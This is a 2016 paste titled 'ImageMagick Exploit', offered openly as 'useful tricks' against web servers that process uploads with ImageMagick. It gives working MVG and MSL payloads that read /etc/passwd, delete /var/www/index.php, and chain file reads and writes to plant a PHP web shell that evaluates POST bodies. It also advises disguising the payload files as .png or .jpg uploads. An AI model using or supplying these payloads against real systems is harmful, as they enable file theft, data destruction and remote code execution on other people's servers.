ImageMagick Exploit


SUBMITTED BY: crazyren

DATE: May 24, 2016, 12:46 p.m.

FORMAT: Text only

SIZE: 1.8 kB

HITS: 84839

  1. Credit to @CrazedSec for original paper, ID 4698
  2. ImageMagick is vulnerable to a variety of attacks that allow reading, deleting,
  3. and writing files.
  4. Here are some useful trick to complement the fill 'url()' vulnerability
  5. described by @CrazedSec.
  6. @air
  7. == 1 ==
  8. It's possible to read arbitrary files from a web server by uploading an
  9. ImageMagick Vector Graphics file (MVG) that the web application processes with
  10. ImageMagick:
  11. push graphic-context
  12. viewbox 0 0 1024 1024
  13. image over 0,0 0,0 'label:@/etc/passwd'
  14. pop graphic-context
  15. As is the case with all of these vulnerabilities, the file doesn't need to be
  16. uploaded with a .mvg extension. You can change it to .png, .jpg, or anything
  17. else.
  18. If the file doesn't exist, you'll see the @ symbol plus the filename as the
  19. output.
  20. == 2 ==
  21. You can use a similar technique to delete a file, provided ImageMagick is built
  22. with support for it's ephemeral protocol:
  23. push graphic-context
  24. viewbox 0 0 1024 1024
  25. image over 0,0 0,0 'ephemeral:/var/www/index.php'
  26. pop graphic-context
  27. == 3 ==
  28. You can move files around, provided you're able to determine the location of
  29. uploaded files. This can be used to upload new files as well as overwrite
  30. existing files.
  31. first_image.png:
  32. <?xml version="1.0" encoding="UTF-8"?>
  33. <image>
  34. <read filename="/var/www/uploads/second_image.png"/>
  35. <write filename="/var/www/hi.php"/>
  36. </image>
  37. second_image.png:
  38. push graphic-context
  39. viewbox 0 0 1024 1024
  40. image over 0,0 0,0 'label:<?php if($_SERVER["REQUEST_METHOD"]=="POST")eval(file_get_contents("php://input")); ?>'
  41. pop graphic-context
  42. third_image.png:
  43. push graphic-context
  44. viewbox 0 0 1024 1024
  45. image over 0,0 0,0 'msl:/var/www/uploads/first_image.png'
  46. pop graphic-context

comments powered by Disqus